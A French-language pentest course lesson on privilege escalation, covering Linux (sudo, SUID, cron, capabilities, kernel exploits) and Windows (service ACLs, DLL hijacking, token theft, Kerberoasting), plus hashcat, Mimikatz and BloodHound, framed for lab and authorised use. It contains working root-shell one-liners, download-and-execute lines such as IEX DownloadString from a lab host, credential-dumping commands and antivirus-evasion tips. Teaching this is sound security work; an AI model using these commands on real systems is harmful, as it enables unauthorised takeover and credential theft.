Élévation de privilèges — Notions
Vous avez un accès. Bien. Mais un compte user ne vaut pas un compte root, SYSTEM ou admin de domaine. Cette semaine, on passe de « j'ai un shell » à « je suis le maître de la machine ». Sans ça, le reste du pentest est du théâtre.
L'élévation de privilèges se pratique sur les VM du lab (Metasploitable 2/3, HackTheBox retired boxes, VulnHub), ou en mission sous RoE. Un mimikatz sur un poste que vous n'êtes pas censé toucher, c'est un délit fédéral dans plusieurs pays.
Ce que vous saurez faire après cette leçon
- Utiliser
linpeasetwinpeassans se noyer dans leur sortie. - Reconnaître cinq chemins Linux classiques :
sudo, SUID, cron, capabilities, kernel exploits. - Reconnaître quatre chemins Windows classiques : services mal ACLés, DLL hijacking, tokens à voler, Kerberoasting.
- Casser hors ligne des hashes avec
hashcat(formats NTLM, sha512crypt, kerberos-tgs). - Utiliser Mimikatz proprement, comprendre pourquoi il fait aussi peur qu'il fait plaisir.
- Écrire un constat d'élévation qui a de la valeur en rapport.
1. La logique commune
L'élévation de privilèges suit trois questions systématiques :
- « Qu'est-ce que j'ai droit de faire avec ce compte ? » —
id,whoami,sudo -l,whoami /priv. - « Qu'est-ce que le système fait, en tant que privilégié, que je peux influencer ? » — cron root, tâche planifiée SYSTEM, service qui charge une DLL.
- « Qu'est-ce qui est en mémoire, dorm-je-y-toucher ? » — LSASS sur Windows,
/proc/*/environsur Linux, secrets applicatifs.
Ces trois questions, en boucle, sur toute cible. Le reste, c'est du savoir-faire.
2. Linux — les cinq chemins classiques
2.1. sudo -l — la porte grande ouverte
sudo -l
Sortie types :
User bob may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim
Ceci est une élévation immédiate. sudo vim en tant que root, puis dans vim :
:!bash
Un shell root. Fin. Toute commande interactive qui peut shell-out fait le même effet : less, more, awk, find, nmap (ancien), perl, python, ruby.
Référence à connaître : GTFOBins. Base de données de binaires qui, mal configurés dans sudo, ouvrent un shell root.
2.2. SUID mal posés
Le bit SUID (s au lieu de x) fait qu'un fichier s'exécute avec les privilèges de son propriétaire — souvent root.
find / -perm -4000 -type f 2>/dev/null
Sortie classique (Metasploitable 2) :
/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su
nmap SUID root ancien accepte un mode interactif qui shell-out. python SUID root, c'est un shell root en une ligne :
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
GTFOBins liste les tricks pour chaque binaire. Consultez avant d'inventer.
2.3. Cron avec chemins relatifs
cat /etc/crontab
ls -la /etc/cron.d/
Sortie potentielle :
* * * * * root backup.sh
Si backup.sh est dans un dossier $PATH que vous pouvez modifier — ou si /etc/crontab liste backup.sh sans chemin absolu — vous déposez votre backup.sh piégé et attendez la prochaine minute.
Version avec chemin absolu mais script inscriptible :
ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh
L'écriture par le groupe = jackpot. Ajoutez :
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh
Une minute plus tard :
/tmp/rootbash -p
whoami
# root
2.4. Capabilities
Les file capabilities Linux (man 7 capabilities) donnent des droits fins. Certaines sont dangereuses :
getcap -r / 2>/dev/null
Sortie exemple :
/usr/bin/python3.10 = cap_setuid+ep
cap_setuid sur Python = Python peut appeler setuid(0) sans être root au départ. Chemin d'élévation :
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Autres capabilities offensives : cap_dac_read_search (lire tout, y compris /etc/shadow), cap_sys_admin (à peu près tout).
2.5. Exploits du noyau
Quand tout le reste échoue, le noyau. Vérifiez la version :
uname -a
cat /etc/os-release
Puis cherchez :
searchsploit "linux kernel <version>"
Sur un noyau 2.6.24 comme Metasploitable 2, des exploits existent en pagaille (Dirty Cow, sock_diag_handlers, perf_swevent). Sur un noyau récent, l'inverse — les exploits kernel sont chers et rares.
Attention : un exploit noyau plante le système dans un cas sur cinq. En pentest client, jamais sans autorisation explicite du RoE, jamais en journée.
2.6. LinPEAS — l'outil d'inventaire
linpeas.sh scanne les points ci-dessus et bien d'autres. Résultat en 3-5 minutes.
# Depuis Kali, sert-le
python3 -m http.server 8000
# Sur la cible
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out
Ligne clé en sortie :
[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)
LinPEAS liste, il ne qualifie pas. Un [+] SUID: /usr/bin/passwd est un faux positif — c'est normal que passwd soit SUID. Vous filtrez à la main.
3. Windows — les quatre chemins classiques
3.1. Services mal ACLés
# En PowerShell sur la cible
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}
# Pour chaque service, vérifier les ACL du binaire
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
$path = $s.PathName -replace '"' -replace ' .*'
if (Test-Path $path) {
(Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
}
}
Si un service qui tourne en LocalSystem a son binaire modifiable par Users, vous remplacez le binaire par votre payload, redémarrez le service, et SYSTEM tombe.
3.2. DLL hijacking
Un exécutable charge une DLL par nom (kernel32.dll, mydll.dll) sans chemin absolu. Windows cherche dans l'ordre : dossier de l'exécutable, System32, SysWOW64, PATH.
Si un des dossiers de recherche est inscriptible par vous et si l'appli tourne en admin, vous déposez mydll.dll piégée et attendez.
Détection avec procmon : filtrez sur NAME NOT FOUND + .dll pendant que l'appli démarre.
3.3. Tokens à voler
Sur Windows, quand un admin se logge (même par RDP), son jeton d'accès est présent en mémoire. Un processus SYSTEM peut impersonate ce jeton et devenir cet admin.
Depuis Meterpreter :
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin
Vous êtes admin de domaine, sans avoir vu son mot de passe.
3.4. Kerberoasting
Sur un Active Directory, chaque compte de service (svc_sql, svc_backup) a un Service Principal Name (SPN). Tout utilisateur authentifié peut demander un ticket Kerberos (TGS) chiffré avec le hash du mot de passe du compte. Ce ticket peut être cassé hors ligne.
# Depuis Kali, avec impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password
Sortie : des tickets prêts à être cassés par hashcat -m 13100. Les comptes de service ont souvent un mot de passe faible (mis en place il y a 10 ans, jamais changé).
C'est l'attaque n°1 sur les AD en 2026. Le RSSI moyen ne la connaît pas.
3.5. WinPEAS
Équivalent Windows de LinPEAS. Sur la cible :
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')
Sortie type : dizaines de milliers de lignes. Filtrez :
[+] AlwaysInstallElevated— jackpot rare mais explosif (msiinstallés en SYSTEM par tout utilisateur).[+] Unquoted Service Path— services avec chemin non-quoted et espaces.[+] Modifiable Registry— services dont la config peut être réécrite.[+] Autologon credentials— mots de passe en clair dans le registre.- Résultats Potentially exploitable — à valider un par un.
4. Casser des hashes hors ligne
L'atout majeur du cassage hors ligne : la cible ne voit rien. Aucun compte ne se verrouille.
4.1. Les formats à connaître
| Format | Origine | Mode Hashcat | Vitesse RTX 4090 |
|---|---|---|---|
| NTLM | Windows locaux, hashdump | -m 1000 | ~200 GH/s |
| NetNTLMv2 | Responder/relay | -m 5600 | ~3 GH/s |
| Kerberos TGS-REP | Kerberoasting | -m 13100 | ~1 GH/s |
| AS-REP | AS-REP roasting | -m 18200 | ~1 GH/s |
| sha512crypt | Linux /etc/shadow moderne | -m 1800 | ~130 KH/s |
| bcrypt | Applications web | -m 3200 | ~200 KH/s |
| MySQL | v5+ | -m 300 | ~200 GH/s |
Ordre de grandeur : NTLM = très rapide, bcrypt/sha512crypt = très lent (par design).
4.2. Attaques classiques
Dictionnaire brut :
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
Dictionnaire + règles (variations : majuscule, chiffre à la fin, l33t) :
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
Masque — quand vous soupçonnez une politique :
# 8 caractères, dont majuscule au début, chiffres à la fin
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d
Attaque combinée :
# Deux dictionnaires en cross-product
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt
4.3. Les règles à connaître
best64.rule— 64 règles générales. Bon compromis.OneRuleToRuleThemAll.rule— 52k règles. Long mais très efficace.dive.rule— massif, très intensif.
Pour des politiques d'entreprise, on écrit sa propre règle : Ete2025! = base Ete + 2025 + ! = pattern reproductible.
5. Mimikatz — l'outil qui a changé Windows
Écrit par Benjamin Delpy en 2011, révélant que Windows conservait les mots de passe en clair en mémoire (LSASS). Microsoft a mis 5 ans à réagir. Mimikatz reste l'outil de référence pour l'extraction de credentials Windows.
Ce que Mimikatz sait faire :
sekurlsa::logonpasswords— extrait tous les mots de passe des sessions actives.sekurlsa::tickets— extrait les tickets Kerberos en mémoire.lsadump::sam— dumpe la SAM locale (comme hashdump).lsadump::dcsync— se fait passer pour un contrôleur de domaine et demande la réplication d'un compte (incluant le hash dekrbtgt= Golden Ticket).sekurlsa::pth— Pass-the-Hash (auth avec NTLM sans mot de passe).kerberos::golden— forge un Golden Ticket (accès permanent sur un AD).
Techniquement, il lit LSASS.exe (le processus qui gère les authentifications) à travers les APIs Windows.
Détection : Defender le connaît par cœur, il est immédiatement bloqué. On passe par :
- Version compilée custom (recompilation avec strings modifiées).
- Chargement en mémoire via
Invoke-Mimikatz(PowerShell). - Substitut moderne : Rubeus (Kerberoasting, ticket manipulation en C#), SharpHound (BloodHound collecteur).
Cadre éthique : Mimikatz sur une VM lab, oui. Mimikatz sur une prod client, seulement si le RoE l'autorise explicitement. L'outil est celui d'un attaquant, il déclenche toutes les alarmes.
6. BloodHound — la carte du domaine
BloodHound n'extrait pas de credentials, il cartographie les relations dans un Active Directory :
- Qui est admin de quoi.
- Quels comptes peuvent RDP sur quelles machines.
- Quels groupes contiennent quels utilisateurs.
- Quelles GPO s'appliquent où.
Cette carte révèle des chemins d'attaque que personne ne voit à la main. Exemple : « User Bob (compte lambda) → membre du groupe Marketing → le groupe Marketing peut modifier les GPO du serveur SRV-01 → SRV-01 est admin du domaine ».
Collecteur : SharpHound.exe -c All.
Interface : Neo4j + BloodHound GUI. Requêtes toutes prêtes : « Find Shortest Paths to Domain Admins from Owned ».
En 2026, un pentester AD sans BloodHound est un pentester incomplet.
7. Le constat d'élévation — ce que le rapport doit contenir
Chaque élévation trouvée = une fiche :
## Élévation — <titre court>
- Compte de départ : <user>
- Compte final : <root / SYSTEM / Domain Admin>
- Chemin (numéroté) :
1. Découverte : ...
2. Exploitation : ...
3. Confirmation : ...
- Commandes exécutées (encart) :
```
sudo -l
sudo vim -c ':!bash'
```
- Impact métier : lecture de X, contrôle de Y, persistance possible.
- Recommandation : retrait de la ligne sudoers, ou passage à un compte dédié.
Un rapport avec 15 « escalades trouvées » sans ces fiches vaut zéro.
8. Les erreurs à éviter
- Balancer LinPEAS et ne rien filtrer. Le client voit 400 lignes de bruit, se demande ce qui est vraiment critique.
- Utiliser un exploit noyau sans autorisation. Vous cassez la prod, la mission s'arrête là.
- Casser un hash et l'utiliser en direct sur le portail au lieu de rester en interne. Vous générez des logs partout.
- Oublier de nettoyer. Vous avez déposé un
/tmp/rootbashSUID pour la démo, pensez à le supprimer avant de partir. - Ne pas relire GTFOBins. Vous inventez une exploitation compliquée pour un
findSUID alors que GTFOBins donne la ligne exacte.
9. Ce qu'il faut retenir
- Trois questions en boucle : mes droits, ce que le système fait pour moi, ce qui est en mémoire.
- Linux :
sudo -l, SUID, cron, capabilities, kernel. Dans cet ordre de priorité. - Windows : services mal ACLés, DLL hijacking, tokens, Kerberoasting.
- Hashcat est votre ami. Connaissez les 5 modes principaux par cœur.
- Mimikatz est puissant, bruyant. En 2026, préférez Rubeus + BloodHound.
- Un rapport d'élévation = fiches numérotées, avec impact et remédiation.
Prochaine leçon : on tombe cinq élévations (Linux + Windows), on cartographie un AD avec BloodHound, on force un Kerberoast.